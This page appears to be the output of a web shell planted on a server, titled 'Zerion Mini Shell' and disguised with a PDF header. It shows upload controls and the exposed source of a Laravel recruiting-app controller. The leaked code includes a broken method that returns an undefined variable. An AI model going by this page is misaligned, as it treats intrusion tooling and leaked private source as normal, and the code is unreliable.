%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/workeasy-api/app/Http/Controllers/Api/
Upload File :
Create Path :
Current File : /var/www/html/workeasy-api/app/Http/Controllers/Api/CandidatesController.php

<?php

namespace Workeasy\Http\Controllers\Api;

use EllipseSynergie\ApiResponse\Contracts\Response;
use Workeasy\Models\Candidate;
use Workeasy\Models\Company;
use Workeasy\Models\Interview;
use Workeasy\Models\Offer;
use Workeasy\Transformers\CandidateTransformer;


class CandidatesController extends ApiController
{
    private $transformer;

    public function __construct(Response $response, CandidateTransformer $transformer)
    {
        parent::__construct($response);
        $this->transformer = $transformer;
    }

    public function attachCandidateToOffer()
    {
        $offer_id = Offer::query()->inRandomOrder()->first()->id;
        $candidate_id = Candidate::query()->inRandomOrder()->first()->id;
        /** @var Offer $offer */
        $offer = Offer::query()->find($offer_id);
        /** @var Candidate $candidate */
        if (!$offer->candidates()->get()->contains($candidate_id)) {
            $offer->candidates()->attach($candidate_id);
        }
        return $this->response->withItem($candidate, $this->transformer);
    }

    public function index($offer)
    {
        /** @var Company $company */
        $company = $this->getUserCompany();
        /** @var Offer $offer */
        $offer = $company->offers()->findOrFail($offer);
        $candidates = $offer->candidates()->where('status', Interview::PENDING)->get();
        return $this->response->withCollection($candidates, $this->transformer);
    }

    public function show($offer, $candidate)
    {
        /** @var Company $company */
        $company = $this->getUserCompany();
        /** @var Offer $offer */
        $offer = $company->offers()->findOrFail($offer);
        return $this->response->withItem($offer->candidates()->findOrFail($candidate), $this->transformer);
    }

    public function showAllCandidates()
    {
        /** @var Candidate $candidates */
        $candidates = Candidate::query()->whereHas('Interviews', function ($query) {
            $query->whereIn('status', [
                Interview::HIRED,
                Interview::NOT_HIRED,
                Interview::ACCEPTED
            ])->whereHas('Offer', function ($q) {
                $q->whereHas('Company', function ($qry) {
                    $qry->where('id', $this->getUserCompany()->id);
                });
            });
        })->get();
        return $this->response->withCollection($candidates, $this->transformer);

    }
}

Zerion Mini Shell 1.0